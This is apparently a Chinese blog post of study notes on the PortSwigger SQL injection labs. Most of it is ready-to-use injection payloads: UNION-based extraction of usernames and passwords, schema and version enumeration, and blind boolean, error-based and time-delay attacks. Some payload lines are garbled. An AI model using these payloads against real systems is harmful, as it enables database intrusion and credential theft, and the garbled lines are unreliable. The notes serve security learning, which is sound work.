PortSwigger SQL injection

DaisyDragonD

已于 2023-04-14 09:44:15 修改

阅读量483

点赞数

分类专栏： Bug Bounty PortSwigger 文章标签： sql 数据库 mysql

于 2023-04-14 09:38:52 首次发布

本文链接：https://blog.youkuaiyun.com/mengzh620/article/details/130145085

版权

Bug Bounty 同时被 2 个专栏收录

4 篇文章

订阅专栏

PortSwigger

1 篇文章

订阅专栏

本文详细列举了多种SQL注入攻击手法，包括检索隐藏数据、确定查询列数、获取用户信息、列出数据库内容等，针对Oracle、Microsoft、PostgreSQL和MySQL等不同数据库系统。同时，介绍了盲注攻击，如条件响应和时间延迟方法，以及利用错误处理进行信息检索。这些揭示了数据库安全的重要性和防止SQL注入的必要性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1.Retrieval of hidden data ---- Modify the category parameter, giving it the value '+OR+1=1-- 能看到所有的目录

administrator’-- 可以忽略后面的 administrator%27–

3.determining the number of columns returned by the query 'UNION+SELECT+NULL,NULL–
'UNION+SELECT+NULL,NULL+FROM+DUAL–(Oracle)

'+UNION+SELECT+username,+password+FROM+users–

4.retrieving multiple values in a single column username||‘~’||password+FROM+users-- ~是用户名和密码之间的区分，用户自己加上的

'UNION+SELECT+null,banner+FROM+V $v ers i o n - -^{'} U N I ON + SE L ECT + bann er, n u ll + FROM + V$ version–

Database version
Oracle: SELECT banner FROM v $v ers i o n SE L ECT v ers i o n FROM v$ instance

           Microsoft:    SELECT @@version  

           PostgreSQL:    SELECT version()  

            MySQL:        SELECT @@version

之后忽略
Oracle: –
Microsoft: #
listing the database contents on non-Oracle databases

'UNION+SELECT+table_name,null+FROM+information_schema.tables–
'UNION+SELECT+column_name,null+FROM+information_schema.columns+WHERE+table_name=‘users_hgapfx’–
'UNION+SELECT+username_qbyhqw,password_wwalgt+FROM+users_hgapfx-

8.listing the database contents on Oracle databases

'UNION+SELECT+table_name,NULL+FROM+ALL_TABLES–
'UNION+SELECT+COLUMN_NAME,NULL+FROM+ALL_TAB_columns+WHERE+table_name=‘USERS_QDVTGN’–
'UNION+SELECT+username_qbyhqw,password_wwalgt+FROM+users_hgapfx-

9.Lab: Blind SQL injection with conditional responses

'AND(SELECT ‘a’ FROM users WHERE username=‘administrator’ AND LENGTH(password)>n)=‘a’–
'AND(SELECT ‘a’ FROM users WHERE username=‘administrator’ AND LENGTH(password)>n)='a
—how much letters or numbers in the password

'AND (SELECT substring(password,1,1) FROM users WHERE username=‘administrator’)='a

10.Blind SQL injection with time delays

Oracle dbms_pipe.receive_message((‘a’),10)
Microsoft WAITFOR DELAY ‘0:0:10’
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)

'||pg_sleep(10)–

11.Blind SQL injection with conditional errors

‘||+(select+case+when+substr(password,1,1)=‘a’+then+TO_CHAR(1/0)+ELSE+’‘+END+from+users+where+username=‘administrator’)+||’

12.Lab: Blind SQL injection with time delays and information retrieval

‘||pg_sleep(10)||’–

'||(select case when (username=‘administrator’ and substring(password,1,1)=‘a’) then bpg_sleep(10) else bpg_sleep(5) end from users)–